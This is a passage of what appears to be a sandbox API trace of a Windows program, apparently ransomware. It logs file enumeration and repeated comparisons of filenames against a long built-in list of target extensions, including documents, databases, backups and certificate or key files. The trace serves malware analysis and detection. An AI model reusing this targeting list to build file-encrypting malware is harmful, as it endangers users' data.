[0069.428] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".fxg") returned 4 [0069.428] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".geo") returned 4 [0069.428] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".gif") returned 4 [0069.428] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".grs") returned 4 [0069.428] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0069.428] lstrlenW (lpString=".gz") returned 3 [0069.428] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0069.428] lstrlenW (lpString=".h") returned 2 [0069.428] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0069.429] lstrlenW (lpString=".hdr") returned 4 [0069.429] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".hpp") returned 4 [0069.429] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".hta") returned 4 [0069.429] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".htc") returned 4 [0069.429] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".htm") returned 4 [0069.429] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".html") returned 5 [0069.429] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0069.429] lstrlenW (lpString=".icb") returned 4 [0069.429] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".ics") returned 4 [0069.429] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".iff") returned 4 [0069.429] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0069.429] lstrlenW (lpString=".inc") returned 4 [0069.430] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".indd") returned 5 [0069.430] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0069.430] lstrlenW (lpString=".ini") returned 4 [0069.430] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".iqy") returned 4 [0069.430] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".j2c") returned 4 [0069.430] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".j2k") returned 4 [0069.430] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".java") returned 5 [0069.430] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0069.430] lstrlenW (lpString=".jp2") returned 4 [0069.430] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".jpc") returned 4 [0069.430] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0069.430] lstrlenW (lpString=".jpe") returned 4 [0069.446] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0069.446] lstrlenW (lpString=".jpeg") returned 5 [0069.446] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0069.446] lstrlenW (lpString=".jpf") returned 4 [0069.446] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0069.446] lstrlenW (lpString=".jpg") returned 4 [0069.446] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.446] lstrlenW (lpString=".jpx") returned 4 [0069.446] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0069.446] lstrlenW (lpString=".js") returned 3 [0069.447] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0069.447] lstrlenW (lpString=".jsf") returned 4 [0069.447] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".json") returned 5 [0069.447] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0069.447] lstrlenW (lpString=".jsp") returned 4 [0069.447] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".kdc") returned 4 [0069.447] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".kmz") returned 4 [0069.447] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".kwm") returned 4 [0069.447] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".lasso") returned 6 [0069.447] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0069.447] lstrlenW (lpString=".lbi") returned 4 [0069.447] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".lgf") returned 4 [0069.447] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0069.447] lstrlenW (lpString=".lgp") returned 4 [0069.448] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".log") returned 4 [0069.448] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".m1v") returned 4 [0069.448] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".m4a") returned 4 [0069.448] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".m4v") returned 4 [0069.448] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".max") returned 4 [0069.448] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".md") returned 3 [0069.448] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0069.448] lstrlenW (lpString=".mda") returned 4 [0069.448] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".mdb") returned 4 [0069.448] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0069.448] lstrlenW (lpString=".mde") returned 4 [0069.448] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mdf") returned 4 [0069.449] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mdw") returned 4 [0069.449] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mef") returned 4 [0069.449] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mft") returned 4 [0069.449] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mfw") returned 4 [0069.449] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mht") returned 4 [0069.449] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mhtml") returned 6 [0069.449] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0069.449] lstrlenW (lpString=".mka") returned 4 [0069.449] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0069.449] lstrlenW (lpString=".mkidx") returned 6 [0069.449] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0069.449] lstrlenW (lpString=".mkv") returned 4 [0069.449] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mos") returned 4 [0069.450] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mov") returned 4 [0069.450] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mp3") returned 4 [0069.450] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mp4") returned 4 [0069.450] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mpeg") returned 5 [0069.450] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0069.450] lstrlenW (lpString=".mpg") returned 4 [0069.450] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mpv") returned 4 [0069.450] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".mrw") returned 4 [0069.450] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0069.450] lstrlenW (lpString=".msg") returned 4 [0069.451] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0069.451] lstrlenW (lpString=".mxl") returned 4 [0069.451] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".myd") returned 4 [0069.451] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".myi") returned 4 [0069.451] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".nef") returned 4 [0069.451] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".nrw") returned 4 [0069.451] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".obj") returned 4 [0069.451] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0069.451] lstrlenW (lpString=".odb") returned 4 [0069.452] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".odc") returned 4 [0069.452] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".odm") returned 4 [0069.452] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".odp") returned 4 [0069.452] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".ods") returned 4 [0069.452] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".oft") returned 4 [0069.452] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".one") returned 4 [0069.452] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".onepkg") returned 7 [0069.452] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0069.452] lstrlenW (lpString=".onetoc2") returned 8 [0069.452] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0069.452] lstrlenW (lpString=".opt") returned 4 [0069.452] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".oqy") returned 4 [0069.452] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0069.452] lstrlenW (lpString=".orf") returned 4 [0069.453] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".p12") returned 4 [0069.453] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".p7b") returned 4 [0069.453] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".p7c") returned 4 [0069.453] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pam") returned 4 [0069.453] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pbm") returned 4 [0069.453] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pct") returned 4 [0069.453] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pcx") returned 4 [0069.453] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pdd") returned 4 [0069.453] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pdf") returned 4 [0069.453] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.453] lstrlenW (lpString=".pdp") returned 4 [0069.454] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pef") returned 4 [0069.454] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pem") returned 4 [0069.454] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pff") returned 4 [0069.454] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pfm") returned 4 [0069.454] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pfx") returned 4 [0069.454] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".pgm") returned 4 [0069.454] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".php") returned 4 [0069.454] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0069.454] lstrlenW (lpString=".php3") returned 5 [0069.454] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0069.454] lstrlenW (lpString=".php4") returned 5 [0069.454] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0069.454] lstrlenW (lpString=".php5") returned 5 [0069.455] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0069.455] lstrlenW (lpString=".phtml") returned 6 [0069.455] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0069.455] lstrlenW (lpString=".pict") returned 5 [0069.455] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0069.455] lstrlenW (lpString=".pl") returned 3 [0069.455] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0069.455] lstrlenW (lpString=".pls") returned 4 [0069.455] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0069.455] lstrlenW (lpString=".pm") returned 3 [0069.455] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0069.455] lstrlenW (lpString=".png") returned 4 [0069.455] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0069.455] lstrlenW (lpString=".pnm") returned 4 [0069.455] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0069.455] lstrlenW (lpString=".pot") returned 4 [0069.455] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0069.455] lstrlenW (lpString=".potm") returned 5 [0069.455] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0069.455] lstrlenW (lpString=".potx") returned 5 [0069.456] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0069.456] lstrlenW (lpString=".ppa") returned 4 [0069.456] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0069.456] lstrlenW (lpString=".ppam") returned 5 [0069.456] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0069.456] lstrlenW (lpString=".ppm") returned 4 [0069.456] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0069.456] lstrlenW (lpString=".pps") returned 4 [0069.456] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0069.456] lstrlenW (lpString=".ppsm") returned 5 [0069.456] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0069.456] lstrlenW (lpString=".ppt") returned 4 [0069.456] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.456] lstrlenW (lpString=".pptm") returned 5 [0069.456] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0069.456] lstrlenW (lpString=".pptx") returned 5 [0069.456] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0069.456] lstrlenW (lpString=".prn") returned 4 [0069.456] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".ps") returned 3 [0069.457] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0069.457] lstrlenW (lpString=".psb") returned 4 [0069.457] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".psd") returned 4 [0069.457] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".pst") returned 4 [0069.457] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".ptx") returned 4 [0069.457] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".pub") returned 4 [0069.457] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".pwm") returned 4 [0069.457] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".pxr") returned 4 [0069.457] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0069.457] lstrlenW (lpString=".py") returned 3 [0069.457] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0069.457] lstrlenW (lpString=".qt") returned 3 [0069.457] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0069.457] lstrlenW (lpString=".r3d") returned 4 [0069.458] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0069.458] lstrlenW (lpString=".raf") returned 4 [0069.458] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0069.458] lstrlenW (lpString=".rar") returned 4 [0069.458] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.458] lstrlenW (lpString=".raw") returned 4 [0069.458] lstrcmpiW (lpString1=".raw", lpString2=".mui") returned 1 [0069.458] lstrlenW (lpString=".rdf") returned 4 [0069.458] lstrcmpiW (lpString1=".rdf", lpString2=".mui") returned 1 [0069.458] lstrlenW (lpString=".rgbe") returned 5 [0069.458] FindNextFileW (in: hFindFile=0x628458, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0069.458] FindClose (in: hFindFile=0x628458 | out: hFindFile=0x628458) returned 1 [0069.459] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x38a0068 | out: hHeap=0x5d0000) returned 1 [0069.459] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0069.459] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38a0068 [0069.463] FindNextFileW (in: hFindFile=0x628458, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.463] FindNextFileW (in: hFindFile=0x628458, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0071.308] FindNextFileW (in: hFindFile=0x6c6f88, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0071.457] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.458] FindNextFileW (in: hFindFile=0x3ee3020, lpFindFileData=0x2eef310 | out: lpFindFileData=0x2eef310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0073.995] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.995] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x2eeee18 | out: lpFindFileData=0x2eeee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0073.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.995] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0073.995] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0073.996] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0073.996] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0073.996] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0073.996] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0073.997] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0073.997] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0073.998] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0073.999] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0073.999] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0073.999] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0074.000] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0074.000] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0074.000] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0074.000] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0074.000] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0074.001] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0074.001] lstrcmpiW 